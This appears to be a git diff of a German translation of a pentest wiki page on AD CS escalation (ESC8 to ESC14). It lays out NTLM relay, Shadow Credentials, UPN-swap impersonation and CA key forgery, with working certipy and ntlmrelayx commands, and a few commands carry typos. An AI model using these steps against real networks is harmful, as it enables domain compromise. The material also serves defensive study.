OID ``` -*Wenn die Vorlage die Erweiterung *Zertifikatsausstellungsrichtlinien* nicht bereits definiert, wird der oben genannte Wert nach der Ausstellung beibehalten.* +*Wenn die Vorlage die *Certificate Issuance Policies*-Erweiterung nicht bereits definiert, wird der obige Wert nach der Ausstellung erhalten bleiben.* -3. **Stellen Sie die Anfrage aus** (wenn Ihre Rolle auch Genehmigungsrechte für *Manage Certificates* hat) oder warten Sie, bis ein Operator sie genehmigt. Sobald sie ausgestellt ist, laden Sie das Zertifikat herunter: +3. **Stelle die Anfrage aus** (wenn deine Rolle auch Genehmigungsrechte für *Manage Certificates* hat) oder warte, bis ein Operator sie genehmigt. Nach der Ausstellung lade das Zertifikat herunter: ```powershell Certify.exe request-download --ca SERVER\\CA-NAME --id 1337 ``` -4. Das resultierende Zertifikat enthält nun die bösartige Ausstellungsrichtlinien-OID und kann in nachfolgenden Angriffen verwendet werden (z. B. ESC13, Domäneneskalation usw.). +4. Das resultierende Zertifikat enthält nun die bösartige issuance-policy OID und kann in nachfolgenden Angriffen verwendet werden (z. B. ESC13, Domain-Eskalation usw.). -> HINWEIS: Der gleiche Angriff kann mit Certipy ≥ 4.7 über den `ca` Befehl und den `-set-extension` Parameter ausgeführt werden. +> NOTE: Der gleiche Angriff kann mit Certipy ≥ 4.7 über den `ca`-Befehl und den Parameter `-set-extension` ausgeführt werden. ## NTLM Relay zu AD CS HTTP-Endpunkten – ESC8 ### Erklärung > [!TIP] -> In Umgebungen, in denen **AD CS installiert ist**, wenn ein **anfälliger Web-Registrierungsendpunkt** existiert und mindestens eine **Zertifikatvorlage veröffentlicht ist**, die **die Registrierung von Domänencomputern und die Clientauthentifizierung** erlaubt (wie die Standardvorlage **`Machine`**), kann **jeder Computer mit aktivem Spooler-Dienst von einem Angreifer kompromittiert werden**! +> In Umgebungen, in denen **AD CS installiert** ist, wenn ein verwundbarer **Web-Enrollment-Endpunkt** vorhanden ist und mindestens eine **certificate template** veröffentlicht ist, die **domain computer enrollment and client authentication** erlaubt (wie die Standard-**`Machine`**-Vorlage), kann **jeder Computer mit aktivem Spooler-Dienst von einem Angreifer kompromittiert werden**! -Mehrere **HTTP-basierte Registrierungsverfahren** werden von AD CS unterstützt, die über zusätzliche Serverrollen verfügbar gemacht werden, die Administratoren installieren können. Diese Schnittstellen für die HTTP-basierte Zertifikatsregistrierung sind anfällig für **NTLM-Relay-Angriffe**. Ein Angreifer kann von einem **kompromittierten Computer aus** jedes AD-Konto nachahmen, das sich über eingehendes NTLM authentifiziert. Während er das Opferkonto nachahmt, können diese Webschnittstellen von einem Angreifer verwendet werden, um **ein Client-Authentifizierungszertifikat mit den Zertifikatvorlagen `User` oder `Machine` anzufordern**. +Mehrere HTTP-basierte Enrollment-Methoden werden von AD CS unterstützt und sind über zusätzliche Serverrollen verfügbar, die Administratoren installieren können. Diese Schnittstellen für HTTP-basiertes Certificate Enrollment sind anfällig für **NTLM relay attacks**. Ein Angreifer kann von einer kompromittierten Maschine aus jedes AD-Konto impersonifizieren, das sich über eingehendes NTLM authentifiziert. Während der Angreifer das Opferkonto impersonifiziert, kann er diese Webschnittstellen nutzen, um ein Client-Authentication-Zertifikat mithilfe der `User`- oder `Machine`-certificate templates anzufordern. -- Die **Web-Registrierungsoberfläche** (eine ältere ASP-Anwendung, die unter `http:///certsrv/` verfügbar ist), verwendet standardmäßig nur HTTP, was keinen Schutz gegen NTLM-Relay-Angriffe bietet. Darüber hinaus erlaubt sie ausdrücklich nur NTLM-Authentifizierung über ihren Authorization HTTP-Header, wodurch sicherere Authentifizierungsmethoden wie Kerberos nicht anwendbar sind. -- Der **Zertifikatsregistrierungsdienst** (CES), der **Zertifikatsregistrierungspolitik** (CEP) Webdienst und der **Netzwerkgerätregistrierungsdienst** (NDES) unterstützen standardmäßig die Verhandlungsauthentifizierung über ihren Authorization HTTP-Header. Die Verhandlungsauthentifizierung **unterstützt sowohl** Kerberos als auch **NTLM**, was es einem Angreifer ermöglicht, während Relay-Angriffen auf NTLM-Authentifizierung **herunterzustufen**. Obwohl diese Webdienste standardmäßig HTTPS aktivieren, schützt HTTPS allein **nicht vor NTLM-Relay-Angriffen**. Der Schutz vor NTLM-Relay-Angriffen für HTTPS-Dienste ist nur möglich, wenn HTTPS mit Channel Binding kombiniert wird. Leider aktiviert AD CS keinen erweiterten Schutz für die Authentifizierung auf IIS, der für Channel Binding erforderlich ist. +- Die **web enrollment interface** (eine ältere ASP-Anwendung verfügbar unter `http:///certsrv/`) verwendet standardmäßig nur HTTP, was keinen Schutz gegen NTLM relay attacks bietet. Zusätzlich erlaubt sie explizit nur NTLM-Authentifizierung über ihren Authorization HTTP-Header, wodurch sicherere Authentifizierungsmethoden wie Kerberos unbrauchbar werden. +- Der **Certificate Enrollment Service** (CES), **Certificate Enrollment Policy** (CEP) Web Service und **Network Device Enrollment Service** (NDES) unterstützen standardmäßig negotiate-Authentifizierung über ihren Authorization HTTP-Header. Negotiate-Authentifizierung **unterstützt sowohl** Kerberos als auch **NTLM**, wodurch ein Angreifer während Relay-Angriffen auf NTLM abwerten kann. Obwohl diese Webdienste standardmäßig HTTPS aktivieren, schützt HTTPS allein **nicht vor NTLM relay attacks**. Schutz vor NTLM-Relay-Angriffen für HTTPS-Dienste ist nur möglich, wenn HTTPS mit Channel Binding kombiniert wird. Leider aktiviert AD CS Extended Protection for Authentication in IIS nicht, welches für Channel Binding erforderlich ist. -Ein häufiges **Problem** bei NTLM-Relay-Angriffen ist die **kurze Dauer von NTLM-Sitzungen** und die Unfähigkeit des Angreifers, mit Diensten zu interagieren, die **NTLM-Signing** erfordern. - -Dennoch wird diese Einschränkung überwunden, indem ein NTLM-Relay-Angriff ausgenutzt wird, um ein Zertifikat für den Benutzer zu erwerben, da die Gültigkeitsdauer des Zertifikats die Dauer der Sitzung bestimmt und das Zertifikat mit Diensten verwendet werden kann, die **NTLM-Signing** vorschreiben. Für Anweisungen zur Verwendung eines gestohlenen Zertifikats siehe: +Ein häufiges **Problem** bei NTLM relay attacks ist die **kurze Dauer von NTLM-Sitzungen** und die Unmöglichkeit für den Angreifer, mit Diensten zu interagieren, die **NTLM signing** verlangen. +Diese Einschränkung lässt sich jedoch umgehen, indem ein NTLM-Relay-Angriff ausgenutzt wird, um ein Zertifikat für den Benutzer zu erhalten, da die Gültigkeitsdauer des Zertifikats die Sitzungslänge bestimmt und das Zertifikat bei Diensten verwendet werden kann, die **NTLM signing** verlangen. Anweisungen zur Nutzung eines gestohlenen Zertifikats findest du unter: {{#ref}} account-persistence.md {{#endref}} -Eine weitere Einschränkung von NTLM-Relay-Angriffen besteht darin, dass **ein vom Angreifer kontrollierter Computer von einem Opferkonto authentifiziert werden muss**. Der Angreifer könnte entweder warten oder versuchen, diese Authentifizierung zu **erzwingen**: - +Eine weitere Einschränkung von NTLM relay attacks ist, dass **eine vom Angreifer kontrollierte Maschine** von einem Opferkonto authentifiziert werden muss. Der Angreifer kann entweder warten oder versuchen, diese Authentifizierung zu **erzwingen**: {{#ref}} ../printers-spooler-service-abuse.md @@ -388,13 +403,13 @@ Eine weitere Einschränkung von NTLM-Relay-Angriffen besteht darin, dass **ein v ### **Missbrauch** -[**Certify**](https://github.com/GhostPack/Certify)’s `cas` enumeriert **aktivierte HTTP AD CS-Endpunkte**: +[**Certify**](https://github.com/GhostPack/Certify)’s `cas` listet **aktivierte HTTP AD CS Endpunkte** auf: ``` Certify.exe cas ```
-Die `msPKI-Enrollment-Servers`-Eigenschaft wird von Unternehmenszertifizierungsstellen (CAs) verwendet, um Endpunkte des Certificate Enrollment Service (CES) zu speichern. Diese Endpunkte können mit dem Tool **Certutil.exe** analysiert und aufgelistet werden: +Die Eigenschaft `msPKI-Enrollment-Servers` wird von unternehmensweiten Zertifizierungsstellen (CAs) verwendet, um Certificate Enrollment Service (CES)-Endpunkte zu speichern. Diese Endpunkte können mit dem Tool **Certutil.exe** geparst und aufgelistet werden: ``` certutil.exe -enrollmentServerURL -config DC01.DOMAIN.LOCAL\DOMAIN-CA ``` @@ -422,9 +437,9 @@ execute-assembly C:\SpoolSample\SpoolSample\bin\Debug\SpoolSample.exe < ``` #### Missbrauch mit [Certipy](https://github.com/ly4k/Certipy) -Die Anfrage für ein Zertifikat erfolgt standardmäßig durch Certipy basierend auf der Vorlage `Machine` oder `User`, abhängig davon, ob der übertragene Kontoname mit `$` endet. Die Angabe einer alternativen Vorlage kann durch die Verwendung des Parameters `-template` erreicht werden. +Die Anforderung eines Zertifikats wird von Certipy standardmäßig basierend auf der Vorlage `Machine` oder `User` vorgenommen, wobei dies davon abhängt, ob der weitergeleitete Kontoname mit `$` endet. Eine alternative Vorlage kann durch die Verwendung des Parameters `-template` angegeben werden. -Eine Technik wie [PetitPotam](https://github.com/ly4k/PetitPotam) kann dann verwendet werden, um die Authentifizierung zu erzwingen. Bei der Arbeit mit Domänencontrollern ist die Angabe von `-template DomainController` erforderlich. +Eine Technik wie [PetitPotam](https://github.com/ly4k/PetitPotam) kann anschließend eingesetzt werden, um eine Authentifizierung zu erzwingen. Bei Domänencontrollern ist die Angabe `-template DomainController` erforderlich. ```bash certipy relay -ca ca.corp.local Certipy v4.0.0 - by Oliver Lyak (ly4k) @@ -437,59 +452,59 @@ Certipy v4.0.0 - by Oliver Lyak (ly4k) [*] Saved certificate and private key to 'administrator.pfx' [*] Exiting... ``` -## No Security Extension - ESC9 +## Keine Security Extension - ESC9 ### Erklärung -Der neue Wert **`CT_FLAG_NO_SECURITY_EXTENSION`** (`0x80000`) für **`msPKI-Enrollment-Flag`**, auch bekannt als ESC9, verhindert das Einbetten der **neuen `szOID_NTDS_CA_SECURITY_EXT` Sicherheits-erweiterung** in ein Zertifikat. Dieses Flag wird relevant, wenn `StrongCertificateBindingEnforcement` auf `1` (die Standardeinstellung) gesetzt ist, was im Gegensatz zu einer Einstellung von `2` steht. Seine Relevanz steigt in Szenarien, in denen eine schwächere Zertifikatzuordnung für Kerberos oder Schannel ausgenutzt werden könnte (wie in ESC10), da das Fehlen von ESC9 die Anforderungen nicht ändern würde. +Der neue Wert **`CT_FLAG_NO_SECURITY_EXTENSION`** (`0x80000`) für **`msPKI-Enrollment-Flag`**, bezeichnet als ESC9, verhindert das Einbetten der **neuen `szOID_NTDS_CA_SECURITY_EXT` security extension** in ein Zertifikat. Diese Flagge wird relevant, wenn `StrongCertificateBindingEnforcement` auf `1` gesetzt ist (Standardeinstellung), was im Gegensatz zu einer Einstellung von `2` steht. Ihre Relevanz steigt in Szenarien, in denen eine schwächere Zertifikatzuordnung für Kerberos oder Schannel ausgenutzt werden könnte (wie bei ESC10), da das Fehlen von ESC9 die Anforderungen nicht verändern würde. -Die Bedingungen, unter denen die Einstellung dieses Flags signifikant wird, umfassen: +Die Bedingungen, unter denen die Einstellung dieser Flagge relevant wird, umfassen: -- `StrongCertificateBindingEnforcement` ist nicht auf `2` eingestellt (wobei der Standard `1` ist), oder `CertificateMappingMethods` enthält das `UPN`-Flag. -- Das Zertifikat ist mit dem `CT_FLAG_NO_SECURITY_EXTENSION`-Flag innerhalb der `msPKI-Enrollment-Flag`-Einstellung gekennzeichnet. -- Ein beliebiges Client-Authentifizierungs-EKU wird durch das Zertifikat angegeben. -- `GenericWrite`-Berechtigungen sind über jedes Konto verfügbar, um ein anderes zu kompromittieren. +- `StrongCertificateBindingEnforcement` ist nicht auf `2` gesetzt (Standard ist `1`), oder `CertificateMappingMethods` enthält das `UPN`-Flag. +- Das Zertifikat ist in der `msPKI-Enrollment-Flag`-Einstellung mit der Flagge `CT_FLAG_NO_SECURITY_EXTENSION` markiert. +- Irgendeine Client-Authentication-EKU ist im Zertifikat angegeben. +- `GenericWrite`-Berechtigungen bestehen über ein Konto, um ein anderes zu kompromittieren. ### Missbrauchsszenario -Angenommen, `John@corp.local` hat `GenericWrite`-Berechtigungen über `Jane@corp.local`, mit dem Ziel, `Administrator@corp.local` zu kompromittieren. Die `ESC9`-Zertifikatvorlage, in die `Jane@corp.local` berechtigt ist, sich einzuschreiben, ist mit dem `CT_FLAG_NO_SECURITY_EXTENSION`-Flag in ihrer `msPKI-Enrollment-Flag`-Einstellung konfiguriert. +Angenommen, `John@corp.local` hat `GenericWrite`-Berechtigungen über `Jane@corp.local`, mit dem Ziel, `Administrator@corp.local` zu kompromittieren. Die `ESC9`-Zertifikatvorlage, für die sich `Jane@corp.local` anmelden darf, ist in ihrer `msPKI-Enrollment-Flag`-Einstellung mit der Flagge `CT_FLAG_NO_SECURITY_EXTENSION` konfiguriert. -Zunächst wird der Hash von `Jane` mithilfe von Shadow Credentials erlangt, dank `John`'s `GenericWrite`: +Zunächst wird `Jane`'s Hash mittels Shadow Credentials erlangt, dank `John`'s `GenericWrite`: ```bash certipy shadow auto -username John@corp.local -password Passw0rd! -account Jane ``` -Anschließend wird `Jane`'s `userPrincipalName` auf `Administrator` geändert, wobei der Teil der Domain `@corp.local` absichtlich weggelassen wird: +Anschließend wird `Jane`'s `userPrincipalName` auf `Administrator` geändert, wobei bewusst der Domain-Teil `@corp.local` weggelassen wird: ```bash certipy account update -username John@corp.local -password Passw0rd! -user Jane -upn Administrator ``` -Diese Modifikation verstößt nicht gegen die Einschränkungen, da `Administrator@corp.local` als `userPrincipalName` von `Administrator` weiterhin eindeutig bleibt. +Diese Änderung verstößt nicht gegen die Einschränkungen, da `Administrator@corp.local` weiterhin als `Administrator`'s `userPrincipalName` eindeutig bleibt. -Daraufhin wird die als anfällig gekennzeichnete `ESC9`-Zertifikatvorlage als `Jane` angefordert: +Anschließend wird die als verwundbar markierte Zertifikatvorlage `ESC9` als `Jane` angefordert: ```bash certipy req -username jane@corp.local -hashes -ca corp-DC-CA -template ESC9 ``` -Es wird festgestellt, dass der `userPrincipalName` des Zertifikats `Administrator` widerspiegelt, ohne eine “object SID”. +Es fällt auf, dass der `userPrincipalName` des Zertifikats `Administrator` anzeigt und keine „object SID“ aufweist. Der `userPrincipalName` von `Jane` wird dann auf ihren ursprünglichen Wert, `Jane@corp.local`, zurückgesetzt: ```bash certipy account update -username John@corp.local -password Passw0rd! -user Jane -upn Jane@corp.local ``` -Der Versuch, sich mit dem ausgestellten Zertifikat zu authentifizieren, ergibt nun den NT-Hash von `Administrator@corp.local`. Der Befehl muss `-domain ` enthalten, da das Zertifikat keine Domänenspezifikation aufweist: +Der Versuch, sich mit dem ausgestellten Zertifikat zu authentifizieren, liefert nun den NT-Hash von `Administrator@corp.local`. Der Befehl muss `-domain ` enthalten, da das Zertifikat keine Domain-Angabe hat: ```bash certipy auth -pfx adminitrator.pfx -domain corp.local ``` -## Schwache Zertifikatzuordnungen - ESC10 +## Schwache Zertifikatszuordnungen - ESC10 ### Erklärung -Zwei Registrierungswertschlüssel auf dem Domänencontroller werden von ESC10 angesprochen: +ESC10 bezieht sich auf zwei Registry-Schlüsselwerte auf dem Domänencontroller: - Der Standardwert für `CertificateMappingMethods` unter `HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\SecurityProviders\Schannel` ist `0x18` (`0x8 | 0x10`), zuvor auf `0x1F` gesetzt. - Die Standardeinstellung für `StrongCertificateBindingEnforcement` unter `HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Kdc` ist `1`, zuvor `0`. **Fall 1** -Wenn `StrongCertificateBindingEnforcement` auf `0` konfiguriert ist. +Wenn `StrongCertificateBindingEnforcement` auf `0` gesetzt ist. **Fall 2** @@ -497,67 +512,67 @@ Wenn `CertificateMappingMethods` das `UPN`-Bit (`0x4`) enthält. ### Missbrauchsfall 1 -Mit `StrongCertificateBindingEnforcement`, das auf `0` konfiguriert ist, kann ein Konto A mit `GenericWrite`-Berechtigungen ausgenutzt werden, um jedes Konto B zu kompromittieren. +Wenn `StrongCertificateBindingEnforcement` auf `0` gesetzt ist, kann ein Konto A mit `GenericWrite`-Berechtigungen ausgenutzt werden, um jedes Konto B zu kompromittieren. -Zum Beispiel, wenn `GenericWrite`-Berechtigungen über `Jane@corp.local` bestehen, zielt ein Angreifer darauf ab, `Administrator@corp.local` zu kompromittieren. Das Verfahren spiegelt ESC9 wider und ermöglicht die Nutzung jeder Zertifikatvorlage. +Beispielsweise, wenn man `GenericWrite`-Berechtigungen für `Jane@corp.local` hat, versucht ein Angreifer, `Administrator@corp.local` zu kompromittieren. Das Vorgehen entspricht ESC9 und erlaubt die Nutzung jeder Zertifikatvorlage. -Zunächst wird der Hash von `Jane` mithilfe von Shadow Credentials abgerufen, wobei `GenericWrite` ausgenutzt wird. +Zunächst wird der Hash von `Jane` mittels Shadow Credentials abgerufen, wobei `GenericWrite` ausgenutzt wird. ```bash certipy shadow autho -username John@corp.local -p Passw0rd! -a Jane ``` -Anschließend wird `Jane`'s `userPrincipalName` in `Administrator` geändert, wobei der Teil `@corp.local` absichtlich weggelassen wird, um eine Einschränkungsverletzung zu vermeiden. +Anschließend wird der `userPrincipalName` von `Jane` auf `Administrator` geändert, wobei bewusst der Teil `@corp.local` weggelassen wird, um eine Verletzung der Einschränkungen zu vermeiden. ```bash certipy account update -username John@corp.local -password Passw0rd! -user Jane -upn Administrator ``` -Daraufhin wird ein Zertifikat angefordert, das die Client-Authentifizierung als `Jane` ermöglicht, unter Verwendung der Standardvorlage `User`. +Anschließend wird als `Jane` ein Zertifikat zur Client-Authentifizierung unter Verwendung der Standardvorlage `User` beantragt. ```bash certipy req -ca 'corp-DC-CA' -username Jane@corp.local -hashes ``` -`Jane`'s `userPrincipalName` wird dann auf das Original zurückgesetzt, `Jane@corp.local`. +`Jane`'s `userPrincipalName` wird dann auf den ursprünglichen Wert `Jane@corp.local` zurückgesetzt. ```bash certipy account update -username John@corp.local -password Passw0rd! -user Jane -upn Jane@corp.local ``` -Die Authentifizierung mit dem erhaltenen Zertifikat liefert den NT-Hash von `Administrator@corp.local`, was die Angabe der Domäne im Befehl erforderlich macht, da im Zertifikat keine Domänendetails enthalten sind. +Die Authentifizierung mit dem erhaltenen Zertifikat liefert den NT hash von `Administrator@corp.local` und erfordert die Angabe der Domäne im Befehl, da im Zertifikat keine Informationen zur Domäne enthalten sind. ```bash certipy auth -pfx administrator.pfx -domain corp.local ``` ### Missbrauchsfall 2 -Mit den `CertificateMappingMethods`, die das `UPN`-Bit-Flag (`0x4`) enthalten, kann ein Konto A mit `GenericWrite`-Berechtigungen jedes Konto B, das über keine `userPrincipalName`-Eigenschaft verfügt, kompromittieren, einschließlich Maschinenkonten und des integrierten Domänenadministrators `Administrator`. +Wenn `CertificateMappingMethods` das `UPN`-Bitflag (`0x4`) enthält, kann ein Konto A mit `GenericWrite`-Berechtigungen jedes Konto B kompromittieren, das keine `userPrincipalName`-Eigenschaft besitzt, einschließlich Maschinenkonten und des integrierten Domänenadministrators `Administrator`. -Hier besteht das Ziel darin, `DC$@corp.local` zu kompromittieren, beginnend mit dem Erhalten von `Janes` Hash durch Shadow Credentials, unter Ausnutzung des `GenericWrite`. +Ziel ist hier, `DC$@corp.local` zu kompromittieren, beginnend damit, den Hash von `Jane` über Shadow Credentials zu erhalten, wobei `GenericWrite` ausgenutzt wird. ```bash certipy shadow auto -username John@corp.local -p Passw0rd! -account Jane ``` -`Jane`'s `userPrincipalName` wird dann auf `DC$@corp.local` gesetzt. +Der `userPrincipalName` von `Jane` wird dann auf `DC$@corp.local` gesetzt. ```bash certipy account update -username John@corp.local -password Passw0rd! -user Jane -upn 'DC$@corp.local' ``` -Ein Zertifikat für die Client-Authentifizierung wird als `Jane` unter Verwendung der Standardvorlage `User` angefordert. +Ein Zertifikat zur Client-Authentifizierung wird als `Jane` mit der Standard-`User`-Vorlage angefordert. ```bash certipy req -ca 'corp-DC-CA' -username Jane@corp.local -hashes ``` -`Jane`'s `userPrincipalName` wird nach diesem Prozess auf seinen ursprünglichen Wert zurückgesetzt. +Der `userPrincipalName` von `Jane` wird nach diesem Prozess auf den ursprünglichen Wert zurückgesetzt. ```bash certipy account update -username John@corp.local -password Passw0rd! -user Jane -upn 'Jane@corp.local' ``` -Um sich über Schannel zu authentifizieren, wird die `-ldap-shell`-Option von Certipy verwendet, die den Authentifizierungserfolg als `u:CORP\DC$` anzeigt. +Um sich über Schannel zu authentifizieren, wird die `-ldap-shell`-Option von Certipy verwendet und zeigt eine erfolgreiche Authentifizierung als `u:CORP\DC$` an. ```bash certipy auth -pfx dc.pfx -dc-ip 172.16.126.128 -ldap-shell ``` -Durch die LDAP-Shell ermöglichen Befehle wie `set_rbcd` Angriffe mit Resource-Based Constrained Delegation (RBCD), die potenziell den Domänencontroller gefährden können. +Über die LDAP-Shell ermöglichen Befehle wie `set_rbcd` Resource-Based Constrained Delegation (RBCD)-Angriffe und können potenziell den Domänencontroller kompromittieren. ```bash certipy auth -pfx dc.pfx -dc-ip 172.16.126.128 -ldap-shell ``` -Diese Schwachstelle erstreckt sich auch auf jedes Benutzerkonto, das keinen `userPrincipalName` hat oder bei dem dieser nicht mit dem `sAMAccountName` übereinstimmt, wobei das Standardkonto `Administrator@corp.local` ein Hauptziel ist, aufgrund seiner erhöhten LDAP-Berechtigungen und des Fehlens eines `userPrincipalName` standardmäßig. +Diese Schwachstelle betrifft auch jedes Benutzerkonto, dem ein `userPrincipalName` fehlt oder bei dem dieser nicht mit dem `sAMAccountName` übereinstimmt. Das standardmäßige Konto `Administrator@corp.local` ist ein Hauptziel, da es erweiterte LDAP-Rechte besitzt und standardmäßig keinen `userPrincipalName` hat. -## Relaying NTLM zu ICPR - ESC11 +## Relaying NTLM to ICPR - ESC11 ### Erklärung -Wenn der CA-Server nicht mit `IF_ENFORCEENCRYPTICERTREQUEST` konfiguriert ist, können NTLM-Relay-Angriffe ohne Signierung über den RPC-Dienst durchgeführt werden. [Reference in here](https://blog.compass-security.com/2022/11/relaying-to-ad-certificate-services-over-rpc/). +Wenn der CA-Server nicht mit `IF_ENFORCEENCRYPTICERTREQUEST` konfiguriert ist, können NTLM-Relay-Angriffe ohne Signierung über den RPC-Dienst durchgeführt werden. [Referenz hier](https://blog.compass-security.com/2022/11/relaying-to-ad-certificate-services-over-rpc/). -Sie können `certipy` verwenden, um zu ermitteln, ob `Enforce Encryption for Requests` deaktiviert ist, und certipy wird `ESC11`-Schwachstellen anzeigen. +Sie können `certipy` verwenden, um zu ermitteln, ob `Enforce Encryption for Requests` deaktiviert ist; certipy zeigt in diesem Fall `ESC11`-Vulnerabilities an. ```bash $ certipy find -u mane@domain.local -p 'password' -dc-ip 192.168.100.100 -stdout Certipy v4.0.0 - by Oliver Lyak (ly4k) @@ -576,7 +591,7 @@ ESC11 : Encryption is not enforced for ICPR requests ``` ### Missbrauchsszenario -Es muss ein Relay-Server eingerichtet werden: +Es ist erforderlich, einen relay server einzurichten: ```bash $ certipy relay -target 'rpc://DC01.domain.local' -ca 'DC01-CA' -dc-ip 192.168.100.100 Certipy v4.7.0 - by Oliver Lyak (ly4k) @@ -595,9 +610,9 @@ Certipy v4.7.0 - by Oliver Lyak (ly4k) [*] Saved certificate and private key to 'administrator.pfx' [*] Exiting... ``` -Hinweis: Für Domänencontroller müssen wir `-template` in DomainController angeben. +Hinweis: Für Domain-Controller müssen wir `-template` in DomainController angeben. -Oder mit [sploutchy's Fork von impacket](https://github.com/sploutchy/impacket) : +Oder mit [sploutchy's fork of impacket](https://github.com/sploutchy/impacket) : ```bash $ ntlmrelayx.py -t rpc://192.168.100.100 -rpc-mode ICPR -icpr-ca-name DC01-CA -smb2support ``` @@ -607,17 +622,17 @@ $ ntlmrelayx.py -t rpc://192.168.100.100 -rpc-mode ICPR -icpr-ca-name DC01-CA -s Administratoren können die Zertifizierungsstelle so einrichten, dass sie auf einem externen Gerät wie dem "Yubico YubiHSM2" gespeichert wird. -Wenn ein USB-Gerät über einen USB-Port mit dem CA-Server verbunden ist oder ein USB-Geräteserver im Falle des CA-Servers eine virtuelle Maschine ist, ist ein Authentifizierungsschlüssel (manchmal als "Passwort" bezeichnet) erforderlich, damit der Key Storage Provider Schlüssel im YubiHSM generieren und nutzen kann. +If USB device connected to the CA server via a USB port, or a USB device server in case of the CA server is a virtual machine, an authentication key (sometimes referred to as a "password") is required for the Key Storage Provider to generate and utilize keys in the YubiHSM. -Dieses Schlüssel/Passwort wird im Registrierungseditor unter `HKEY_LOCAL_MACHINE\SOFTWARE\Yubico\YubiHSM\AuthKeysetPassword` im Klartext gespeichert. +This key/password is stored in the registry under `HKEY_LOCAL_MACHINE\SOFTWARE\Yubico\YubiHSM\AuthKeysetPassword` in cleartext. -Referenz [hier](https://pkiblog.knobloch.info/esc12-shell-access-to-adcs-ca-with-yubihsm). +Reference in [here](https://pkiblog.knobloch.info/esc12-shell-access-to-adcs-ca-with-yubihsm). ### Missbrauchsszenario -Wenn der private Schlüssel der CA auf einem physischen USB-Gerät gespeichert ist, wenn Sie Zugriff auf die Shell haben, ist es möglich, den Schlüssel wiederherzustellen. +Wenn der private Schlüssel der CA auf einem physischen USB-Gerät gespeichert ist und Sie Shell-Zugriff erhalten haben, ist es möglich, den Schlüssel wiederherzustellen. -Zuerst müssen Sie das CA-Zertifikat (dies ist öffentlich) erhalten und dann: +Zuerst müssen Sie das CA-Zertifikat (dies ist öffentlich) beschaffen und dann: ```cmd # import it to the user store with CA certificate $ certutil -addstore -user my @@ -625,17 +640,17 @@ $ certutil -addstore -user my # Associated with the private key in the YubiHSM2 device $ certutil -csp "YubiHSM Key Storage Provider" -repairstore -user my ``` -Schließlich verwenden Sie den certutil `-sign` Befehl, um ein neues beliebiges Zertifikat mit dem CA-Zertifikat und seinem privaten Schlüssel zu fälschen. +Verwenden Sie abschließend den certutil `-sign`-Befehl, um ein neues beliebiges Zertifikat mithilfe des CA-Zertifikats und dessen privatem Schlüssel zu fälschen. -## OID-Gruppenlink-Missbrauch - ESC13 +## OID Group Link Abuse - ESC13 ### Erklärung -Das Attribut `msPKI-Certificate-Policy` ermöglicht es, die Ausgabe-Policy zum Zertifikatstemplate hinzuzufügen. Die `msPKI-Enterprise-Oid` Objekte, die für die Ausgabe-Policies verantwortlich sind, können im Configuration Naming Context (CN=OID,CN=Public Key Services,CN=Services) des PKI OID Containers entdeckt werden. Eine Policy kann mit einer AD-Gruppe über das Attribut `msDS-OIDToGroupLink` dieses Objekts verknüpft werden, wodurch ein System einen Benutzer autorisieren kann, der das Zertifikat präsentiert, als ob er ein Mitglied der Gruppe wäre. [Reference in here](https://posts.specterops.io/adcs-esc13-abuse-technique-fda4272fbd53). +Das Attribut `msPKI-Certificate-Policy` ermöglicht das Hinzufügen einer Ausstellungsrichtlinie zur Zertifikatvorlage. Die `msPKI-Enterprise-Oid`-Objekte, die für die Vergabe dieser Richtlinien verantwortlich sind, können im Configuration Naming Context (CN=OID,CN=Public Key Services,CN=Services) des PKI OID-Containers gefunden werden. Eine Richtlinie kann mit einer AD-Gruppe verknüpft werden, indem das Attribut `msDS-OIDToGroupLink` dieses Objekts verwendet wird, wodurch ein System einen Benutzer, der das Zertifikat vorlegt, so autorisieren kann, als ob er Mitglied dieser Gruppe wäre. [Reference in here](https://posts.specterops.io/adcs-esc13-abuse-technique-fda4272fbd53). -Mit anderen Worten, wenn ein Benutzer die Berechtigung hat, ein Zertifikat zu beantragen und das Zertifikat mit einer OID-Gruppe verknüpft ist, kann der Benutzer die Privilegien dieser Gruppe erben. +Mit anderen Worten: Wenn ein Benutzer die Berechtigung hat, ein Zertifikat zu beantragen und das Zertifikat mit einer OID-Gruppe verknüpft ist, kann der Benutzer die Privilegien dieser Gruppe übernehmen. -Verwenden Sie [Check-ADCSESC13.ps1](https://github.com/JonasBK/Powershell/blob/master/Check-ADCSESC13.ps1), um OIDToGroupLink zu finden: +Verwenden Sie [Check-ADCSESC13.ps1](https://github.com/JonasBK/Powershell/blob/master/Check-ADCSESC13.ps1) to find OIDToGroupLink: ```bash Enumerating OIDs ------------------------ @@ -657,82 +672,82 @@ OID msPKI-Cert-Template-OID: 1.3.6.1.4.1.311.21.8.3025710.4393146.2181807.139243 OID msDS-OIDToGroupLink: CN=VulnerableGroup,CN=Users,DC=domain,DC=local ------------------------ ``` -### Missbrauchsszenario +### Abuse Scenario -Finden Sie eine Benutzerberechtigung, die `certipy find` oder `Certify.exe find /showAllPermissions` verwenden kann. +Finde eine Benutzerberechtigung, die man mit `certipy find` oder `Certify.exe find /showAllPermissions` ausfindig machen kann. -Wenn `John` die Berechtigung hat, `VulnerableTemplate` zu beantragen, kann der Benutzer die Privilegien der Gruppe `VulnerableGroup` erben. +Wenn `John` die Berechtigung hat, `VulnerableTemplate` zu enrollen, kann der Benutzer die Privilegien der Gruppe `VulnerableGroup` übernehmen. -Alles, was er tun muss, ist, die Vorlage anzugeben, und er erhält ein Zertifikat mit OIDToGroupLink-Rechten. +Alles, was er tun muss, ist das Template anzugeben; er erhält dann ein Zertifikat mit OIDToGroupLink-Rechten. ```bash certipy req -u "John@domain.local" -p "password" -dc-ip 192.168.100.100 -target "DC01.domain.local" -ca 'DC01-CA' -template 'VulnerableTemplate' ``` -## Verwundbare Zertifikatserneuerungskonfiguration - ESC14 +## Schwache Konfiguration der Zertifikatserneuerung - ESC14 -### Erklärung +### Erläuterung -Die Beschreibung unter https://github.com/ly4k/Certipy/wiki/06-%E2%80%90-Privilege-Escalation#esc14-weak-explicit-certificate-mapping ist bemerkenswert ausführlich. Nachfolgend ein Zitat des Originaltextes. +Die Beschreibung unter https://github.com/ly4k/Certipy/wiki/06-%E2%80%90-Privilege-Escalation#esc14-weak-explicit-certificate-mapping ist bemerkenswert ausführlich. Nachfolgend eine Zitierung des Originaltextes. -ESC14 befasst sich mit Schwachstellen, die aus "schwachem explizitem Zertifikatmapping" resultieren, hauptsächlich durch den Missbrauch oder die unsichere Konfiguration des `altSecurityIdentities`-Attributs 